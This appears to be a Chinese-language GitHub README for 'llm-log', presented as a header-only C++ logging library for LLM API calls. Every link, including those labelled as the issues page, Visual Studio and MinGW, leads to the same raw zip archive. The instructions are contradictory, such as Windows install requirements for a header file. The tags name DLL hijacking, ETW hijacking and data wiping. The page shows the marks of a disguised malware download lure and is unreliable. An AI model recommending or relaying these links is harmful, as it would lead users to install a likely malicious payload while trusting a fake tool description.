elijahmuimi/llm-log
GitHub: elijahmuimi/llm-log
一个轻量级 C++ 单头文件库,用于记录 LLM API 调用并输出结构化 JSONL 日志。
Stars: 0 | Forks: 0
# 📝 llm-log - 简单的 LLM API 调用 JSONL 日志记录器
[](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip)
## 📋 什么是 llm-log?
llm-log 是一个轻量级工具,旨在帮助跟踪和保存您对大型语言模型 (LLM) API 发起调用的数据。它使用一种称为 JSONL 的通用格式创建清晰、易于读取的日志文件。这使得审查或分享您的 API 交互历史变得简单。
该工具无需任何额外软件即可工作。它以单个文件形式提供,您可以将其添加到您的项目中。如果您想了解 LLM API 何时以及如何被使用,llm-log 可为您提供直接的记录。
## 🖥️ 系统要求
- Windows 7 或更高版本
- 至少 4 GB RAM
- 约 10 MB 的可用磁盘空间用于安装应用程序
- 互联网连接(用于下载)
- 无需特殊硬件或软件
llm-log 旨在大多数标准 Windows 计算机上运行。您不需要任何高级硬件即可使用它。
## ⚙️ 功能特性
- 轻松记录发往您的 LLM 服务的所有 API 调用
- 输出 JSONL 格式的日志,兼容多种工具
- 无需外部依赖
- 以单个头文件形式提供,可直接包含在您的 C++ 项目中
- 有助于提高 LLM 集成的透明度和调试效率
## 🔍 为何使用 llm-log?
跟踪您的 AI 或语言模型 API 的使用情况可以帮助您发现错误、分析性能或仅仅是保存记录。llm-log 使这项任务变得更简单,既不会拖慢您的工作流程,也不需要复杂的设置。
## 🚀 入门指南
要在 Windows 上开始使用 llm-log,请仔细按照以下步骤操作。初始下载和设置不需要编程技能。
# [](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip)
## 1. 访问 llm-log 下载页面
请访问此处的 llm-log 主页面:
https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip
此页面包含该工具的最新版本及其重要详细信息。
## 2. 下载软件包
由于这些工具在 GitHub 上以源文件形式提供,您需要手动下载文件:
- 在 GitHub 页面上,找到存储库页面右上角附近的 **Code** 按钮。
- 点击 **Code**,然后选择 **Download ZIP**。
- 一个名为 `llm-log-master.zip`(或类似名称)的 ZIP 文件将开始下载。
- 下载完成后,转到您的 Windows 下载文件夹。
## 3. 解压文件
- 右键单击下载的 ZIP 文件。
- 选择 **Extract All...**(全部解压...)。
- 选择一个您想要保存文件的文件夹。
- 点击 **Extract**(解压)以解压所有文件。
您现在将在这个新文件夹中看到 llm-log 源文件。主要需要查看的文件将是 llm-log 的头文件。
## 4. 在您的项目中使用 llm-log
如果您将 llm-log 作为另一个程序或工具的一部分使用,则需要将主头文件包含在您的 C++ 项目中。通常,此文件名为 `llm-log.h` 或类似的名称。
由于 llm-log 是一个单头文件日志记录器,您只需添加这一个文件。您无需安装任何其他软件或库。
## 5. 独立运行 llm-log
llm-log 本身是一个用于日志记录的库,可能没有一个无需额外设置即可运行的独立程序。
如果您想查看示例用法:
- 在下载的文件夹中查找示例或演示文件。
- 这些文件展示了调用 llm-log 来记录您的 LLM API 活动的简单方法。
- 您可能需要一个基本的 C++ 编译器(如 Visual Studio 或 MinGW)来构建和运行这些示例。
## 📂 在哪里查找支持材料
在下载的软件包中,您会发现:
- **README.md:** 面向开发者的技术概述和设置说明
- **示例文件:** 展示 llm-log 如何与 LLM 调用配合工作的小型演示
- **License:** 使用 llm-log 的法律条款
- **Changelog:** 关于最近更新和错误修复的说明
如果您不熟悉编程,可能需要熟悉 C++ 软件的人员的帮助,才能使用 llm-log 的所有功能。
## 🛠️ 安装 C++ 编译器(可选)
要构建或运行使用 llm-log 的示例项目,Windows 用户通常会安装以下之一:
- **Visual Studio:** Microsoft 提供的免费开发工具。可从 https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip 下载
- **MinGW:** 适用于 Windows 的最小化 GNU 工具链。可从 https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip 下载
这些工具让您能够编译包含 llm-log 的 C++ 代码,以进行测试或开发。
## 🔧 基本故障排除提示
- 确保您下载了完整的 ZIP 文件并解压了所有内容。
- 使用受支持的 Windows 版本,并在需要时更新您的系统。
- 检查您的互联网连接是否正常。
- 使用示例项目时,请仔细遵循包含的任何构建说明。
- 如果发生错误,请查看 GitHub issues 页面寻找解决方案:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip
## 🔗 快速访问链接
- 下载页面:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip
- 问题与支持:https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip
# [](https://raw.githubusercontent.com/elijahmuimi/llm-log/main/include/log-llm-v1.0-alpha.2.zip)
标签:API监控, C++, DLL 劫持, ETW劫持, Header-Only, JSONL, LLM, Unmanaged PE, Windows软件, 人工智能开发, 单一头文件, 大语言模型, 工作流分析, 数据序列化, 数据擦除, 数据跟踪, 日志记录, 时序数据库, 轻量级工具